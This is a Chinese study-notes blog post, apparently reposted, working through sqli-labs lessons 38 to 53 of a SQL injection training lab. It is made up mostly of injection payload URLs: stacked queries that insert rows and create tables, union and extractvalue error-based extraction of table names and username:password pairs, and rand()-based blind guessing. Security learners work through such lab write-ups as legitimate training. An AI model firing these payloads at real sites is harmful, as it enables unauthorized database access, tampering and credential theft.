sqli_labs学习笔记(一)Less-38~Less-53

续上,开门见山


堆叠注入,实际上就构成了两条SQL语句 

http://43.247.91.228:84/Less-38/?id=1' union select 1,2,3 --+    //未报错

http://43.247.91.228:84/Less-38/?id=1' union select 1,2,3,4 --+     //报错

查询出有三个字段,

使用堆叠注入,

暴位置

http://43.247.91.228:84/Less-38/?id=-1' union select 1,2,3;insert into users values(33,'joker','joker')  --+

 

爆表

http://43.247.91.228:84/Less-38/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'joker','joker')  --+

 

暴字段

http://43.247.91.228:84/Less-38/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'joker','joker')  --+

 

暴值

http://43.247.91.228:84/Less-38/?id=-1' union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'joker','joker')  --+

 


同上,只不过没有单引号 

暴位置

http://43.247.91.228:84/Less-39/?id=-1 union select 1,2,3;insert into users values(33,'joker','joker')

 

爆表

http://43.247.91.228:84/Less-39/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'joker','joker')

 

暴字段

http://43.247.91.228:84/Less-39/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'joker','joker')

 

暴值

http://43.247.91.228:84/Less-39/?id=-1 union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'joker','joker')


同上,只不过加上单引号和右括号 ‘)  

使用堆叠注入,

暴位置

http://43.247.91.228:84/Less-40/?id=-1') union select 1,2,3;insert into users values(33,'joker','joker')  --+

爆表

http://43.247.91.228:84/Less-40/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'joker','joker')  --+

暴字段

http://43.247.91.228:84/Less-40/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'joker','joker')  --+

暴值

http://43.247.91.228:84/Less-40/?id=-1') union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'joker','joker')  --+


39一样,只不过错误没有回显

暴位置

http://43.247.91.228:84/Less-41/?id=-1 union select 1,2,3;insert into users values(33,'joker','joker')

爆表

http://43.247.91.228:84/Less-41/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'joker','joker')

暴字段

http://43.247.91.228:84/Less-41/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'joker','joker')

暴值

http://43.247.91.228:84/Less-41/?id=-1 union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'joker','joker')


login_user=admin&login_password=c';create table less42 like users #&mysubmit=Login

登录时构造的sql语句为
SELECT * FROM users WHERE username='admin' and password='c';create table less42 like users#

同样的利用此方式可以更新和插入数据项。


同上,只不过多了一个c’); 
payload-password: c);create table less43 like users#


同上42,只是没有回显信息 
payload-password:a;insert into users(id,username,password) values (144,less44,hello)#


同上43,只是没有回显信息 
payload-password:c);create table less43 like users#


尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列)

http://43.247.91.228:84/Less-46/?sort=1 asc

 

http://43.247.91.228:84/Less-46/?sort=1 desc

 

我们可利用order by后的一些参数进行注入。
1)、order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试
http://43.247.91.228:84/Less-46/?sort=left(version(),1)
没有报错,但是right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。
此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,
直接添加注入语句,?sort=(select ******)
利用一些函数。例如rand()函数等。?sort=rand(sql语句)
Ps:此处我们可以展示一下rand(ture)rand(false)的结果是不一样的。

利用and,例如?sort=1 and (sql语句)
同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。


报错注入:

爆表

http://43.247.91.228:84/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

 

暴列:

http://43.247.91.228:84/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

暴值:

http://43.247.91.228:84/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

 

显示未完全:
http://43.247.91.228:84/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+

 


同上,只不过变成字符型了,多一个单引号 

暴表:

http://43.247.91.228:84/Less-47/?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

 

暴列:

http://43.247.91.228:84/Less-47/?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

 

暴值:

http://43.247.91.228:84/Less-47/?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

 

显示未完全:

http://43.247.91.228:84/Less-47/?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+

 


本关与less-46的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。
可以利用sort=rand(true/false)进行判断。

猜解库名:

http://43.247.91.228:84/Less-48/?sort=rand(left(database(),1)='s')

 

正确的

http://43.247.91.228:84/Less-48/?sort=rand(left(database(),1)='d')

 

错误的

猜解表

http://43.247.91.228:84/Less-48/?sort=rand(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e')

 

猜解列

http://43.247.91.228:84/Less-48/?sort=rand(left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i')

 

猜解值

http://43.247.91.228:84/Less-48/?sort=rand(left((select username from users limit 0,1),1)='d')

 

也可以用And后的延时注入


本关与47关基本类似,区别在于没有错误回显,所以我们可以通过延时注入进行注入。
利用延时注入


mysqli_multi_query()可以执行多条sql 这个实验使用的是这个函数 
mysqli_query() 只可以执行一条 

http://43.247.91.228:84/Less-50/?sort=1;create table less50 like users --+

进行插入和修改操作。


less50,只不过是字符型 
mysqli_multi_query()可以执行多条sql 这个实验使用的是这个函数 
mysqli_query() 只可以执行一条 


同上50,只不过不显示错误 

payload:?sort=1;create%20table%20less50%20like%20users


同上51,只不过不显示错误 

payload:?sort=1%27;create%20table%20less53%20like%20users–+


   感谢看雪提供的学习平台

未完待续...

原文地址:https://www.cnblogs.com/joker-vip/p/12253001.html